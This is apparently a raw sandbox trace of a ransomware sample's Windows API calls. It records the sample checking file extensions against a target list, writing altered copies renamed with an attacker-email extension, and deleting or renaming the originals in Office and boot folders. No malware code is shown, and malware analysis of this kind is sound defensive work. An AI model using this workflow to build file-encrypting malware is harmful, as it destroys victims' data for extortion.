[0061.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0061.164] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.164] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0061.165] GetLastError () returned 0x0 [0061.165] ReadFile (in: hFile=0x16c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x2c8, lpOverlapped=0x0) returned 1 [0061.165] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x2d0, lpOverlapped=0x0) returned 1 [0061.166] ReadFile (in: hFile=0x16c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.166] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.166] SetEndOfFile (hFile=0x258) returned 1 [0061.166] CloseHandle (hObject=0x258) returned 1 [0061.167] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.167] SetEndOfFile (hFile=0x16c) returned 1 [0061.170] CloseHandle (hObject=0x16c) returned 1 [0061.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf")) returned 1 [0061.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0061.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0061.170] lstrlenW (lpString=".doc") returned 4 [0061.170] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.170] lstrlenW (lpString=".docx") returned 5 [0061.170] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.170] lstrlenW (lpString=".pdf") returned 4 [0061.170] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.170] lstrlenW (lpString=".xls") returned 4 [0061.170] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.170] lstrlenW (lpString=".xlsx") returned 5 [0061.170] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.170] lstrlenW (lpString=".ppt") returned 4 [0061.170] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0061.170] lstrlenW (lpString=".zip") returned 4 [0061.170] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.170] lstrlenW (lpString=".rar") returned 4 [0061.170] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.170] lstrlenW (lpString=".bz2") returned 4 [0061.170] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.171] lstrlenW (lpString=".7z") returned 3 [0061.171] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0061.171] lstrlenW (lpString=".dbf") returned 4 [0061.171] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0061.171] lstrlenW (lpString=".1cd") returned 4 [0061.171] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0061.171] lstrlenW (lpString=".jpg") returned 4 [0061.171] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.171] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=1932) returned 1 [0061.171] CloseHandle (hObject=0x16c) returned 1 [0061.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x20 [0061.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0061.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0061.171] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.172] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0061.172] GetLastError () returned 0x0 [0061.172] ReadFile (in: hFile=0x16c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x78c, lpOverlapped=0x0) returned 1 [0061.395] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x790, lpOverlapped=0x0) returned 1 [0061.420] ReadFile (in: hFile=0x16c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.420] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.420] SetEndOfFile (hFile=0x258) returned 1 [0061.420] CloseHandle (hObject=0x258) returned 1 [0061.420] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.420] SetEndOfFile (hFile=0x16c) returned 1 [0061.421] CloseHandle (hObject=0x16c) returned 1 [0061.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0061.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf")) Thread: id = 16 os_tid = 0x980 [0032.752] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10000) returned 0x38a06b0 [0032.752] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10000) returned 0x38b06b8 [0032.753] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x2703c8 [0032.753] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x6) returned 0x2730e8 [0032.753] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x2703e0 [0032.753] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x100000) returned 0x3d70020 [0032.753] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x2703f8 [0032.753] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2703f8, Size=0x20) returned 0x255cd0 [0032.753] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x2703f8 [0032.753] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2703f8, Size=0x20) returned 0x255cf8 [0032.753] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.753] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.753] Wow64DisableWow64FsRedirection (in: OldValue=0x327ff58 | out: OldValue=0x327ff58*=0x0) returned 1 [0032.753] lstrlenW (lpString="kernel32.dll") returned 12 [0032.753] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255cd0 | out: hHeap=0x220000) returned 1 [0032.753] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.753] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255cf8 | out: hHeap=0x220000) returned 1 [0032.754] Sleep (dwMilliseconds=0x64) [0032.932] Sleep (dwMilliseconds=0x64) [0033.145] lstrlenW (lpString="BCD") returned 3 [0033.145] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.145] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.145] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.145] lstrlenW (lpString=".doc") returned 4 [0033.145] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0033.145] lstrlenW (lpString=".docx") returned 5 [0033.145] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0033.145] lstrlenW (lpString=".pdf") returned 4 [0033.145] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0033.145] lstrlenW (lpString=".xls") returned 4 [0033.145] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0033.145] lstrlenW (lpString=".xlsx") returned 5 [0033.145] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0033.145] lstrlenW (lpString=".ppt") returned 4 [0033.145] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0033.145] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.145] lstrlenW (lpString=".zip") returned 4 [0033.145] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0033.146] lstrlenW (lpString=".rar") returned 4 [0033.146] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0033.146] lstrlenW (lpString=".bz2") returned 4 [0033.146] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0033.146] lstrlenW (lpString=".7z") returned 3 [0033.146] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0033.146] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.146] lstrlenW (lpString=".dbf") returned 4 [0033.146] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0033.146] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.146] lstrlenW (lpString=".1cd") returned 4 [0033.146] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0033.146] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.146] lstrlenW (lpString=".jpg") returned 4 [0033.146] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0033.146] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.146] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.146] lstrlenW (lpString=".doc") returned 4 [0033.146] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0033.146] lstrlenW (lpString=".docx") returned 5 [0033.146] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0033.146] lstrlenW (lpString=".pdf") returned 4 [0033.146] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0033.146] lstrlenW (lpString=".xls") returned 4 [0033.146] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0033.146] lstrlenW (lpString=".xlsx") returned 5 [0033.146] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0033.146] lstrlenW (lpString=".ppt") returned 4 [0033.146] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0033.146] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.146] lstrlenW (lpString=".zip") returned 4 [0033.146] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0033.146] lstrlenW (lpString=".rar") returned 4 [0033.147] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0033.147] lstrlenW (lpString=".bz2") returned 4 [0033.147] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0033.147] lstrlenW (lpString=".7z") returned 3 [0033.147] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0033.147] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.147] lstrlenW (lpString=".dbf") returned 4 [0033.147] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0033.147] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.147] lstrlenW (lpString=".1cd") returned 4 [0033.147] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0033.147] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.147] lstrlenW (lpString=".jpg") returned 4 [0033.147] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0033.147] lstrcmpiW (lpString1=".LOG1", lpString2=".html") returned 1 [0033.147] lstrlenW (lpString="BCD.LOG1") returned 8 [0033.147] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0033.277] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=0) returned 1 [0033.277] CloseHandle (hObject=0x16c) returned 1 [0033.285] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.286] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.286] lstrlenW (lpString=".doc") returned 4 [0033.286] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0033.286] lstrlenW (lpString=".docx") returned 5 [0033.286] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0033.286] lstrlenW (lpString=".pdf") returned 4 [0033.286] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0033.286] lstrlenW (lpString=".xls") returned 4 [0033.286] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0033.286] lstrlenW (lpString=".xlsx") returned 5 [0033.286] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0033.286] lstrlenW (lpString=".ppt") returned 4 [0033.286] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0033.286] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.286] lstrlenW (lpString=".zip") returned 4 [0033.286] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0033.286] lstrlenW (lpString=".rar") returned 4 [0033.286] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0033.286] lstrlenW (lpString=".bz2") returned 4 [0033.286] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0033.286] lstrlenW (lpString=".7z") returned 3 [0033.286] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0033.286] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.286] lstrlenW (lpString=".dbf") returned 4 [0033.286] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0033.286] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.286] lstrlenW (lpString=".1cd") returned 4 [0033.286] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0033.286] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.286] lstrlenW (lpString=".jpg") returned 4 [0033.286] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0033.286] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.286] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.287] lstrlenW (lpString=".doc") returned 4 [0033.287] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0033.287] lstrlenW (lpString=".docx") returned 5 [0033.287] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0033.287] lstrlenW (lpString=".pdf") returned 4 [0033.287] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0033.287] lstrlenW (lpString=".xls") returned 4 [0033.287] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0033.287] lstrlenW (lpString=".xlsx") returned 5 [0033.287] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0033.287] lstrlenW (lpString=".ppt") returned 4 [0033.287] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0033.287] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.287] lstrlenW (lpString=".zip") returned 4 [0033.287] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0033.287] lstrlenW (lpString=".rar") returned 4 [0033.287] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0033.287] lstrlenW (lpString=".bz2") returned 4 [0033.287] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0033.287] lstrlenW (lpString=".7z") returned 3 [0033.287] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0033.287] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.287] lstrlenW (lpString=".dbf") returned 4 [0033.287] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0033.287] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.287] lstrlenW (lpString=".1cd") returned 4 [0033.287] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0033.287] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.287] lstrlenW (lpString=".jpg") returned 4 [0033.287] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0033.288] Sleep (dwMilliseconds=0x64) [0033.928] Sleep (dwMilliseconds=0x64) [0034.237] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0034.237] lstrlenW (lpString="PptLR.cab") returned 9 [0034.237] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0034.739] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x327ff1c | out: lpFileSize=0x327ff1c*=70361744) returned 1 [0034.739] CloseHandle (hObject=0x194) returned 1 [0034.740] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab")) returned 0x2020 [0034.740] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0034.740] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0034.740] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0034.741] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fc6c | out: lpNewFilePointer=0x0) returned 1 [0034.741] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fc2c | out: lpNewFilePointer=0x0) returned 1 [0034.741] ReadFile (in: hFile=0x194, lpBuffer=0x3d70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x327fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d70058*, lpNumberOfBytesRead=0x327fc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.901] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x327fc2c | out: lpNewFilePointer=0x0) returned 1 [0034.901] ReadFile (in: hFile=0x194, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x327fc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x327fc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.989] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x327fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0034.989] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x327fc2c | out: lpNewFilePointer=0x0) returned 1 [0034.989] ReadFile (in: hFile=0x194, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x327fc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x327fc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.008] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.008] WriteFile (in: hFile=0x194, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x327fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x327fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0035.362] SetEndOfFile (hFile=0x194) returned 1 [0035.362] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f4c2e0 [0035.366] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fc7c | out: lpNewFilePointer=0x0) returned 1 [0035.366] WriteFile (in: hFile=0x194, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x327fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x327fc88*=0x40000, lpOverlapped=0x0) returned 1 [0035.367] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x327fc7c | out: lpNewFilePointer=0x0) returned 1 [0035.367] WriteFile (in: hFile=0x194, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x327fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x327fc88*=0x40000, lpOverlapped=0x0) returned 1 [0035.368] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x327fc7c | out: lpNewFilePointer=0x0) returned 1 [0035.368] WriteFile (in: hFile=0x194, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x327fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x327fc88*=0x40000, lpOverlapped=0x0) returned 1 [0035.369] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f4c2e0 | out: hHeap=0x220000) returned 1 [0035.369] CloseHandle (hObject=0x194) returned 1 [0037.943] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0037.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0037.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0037.943] lstrlenW (lpString=".doc") returned 4 [0037.943] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0037.943] lstrlenW (lpString=".docx") returned 5 [0037.943] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0037.943] lstrlenW (lpString=".pdf") returned 4 [0037.943] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0037.943] lstrlenW (lpString=".xls") returned 4 [0037.943] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0037.943] lstrlenW (lpString=".xlsx") returned 5 [0037.943] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0037.943] lstrlenW (lpString=".ppt") returned 4 [0037.943] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0037.943] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0037.943] lstrlenW (lpString=".zip") returned 4 [0037.943] lstrcmpiW 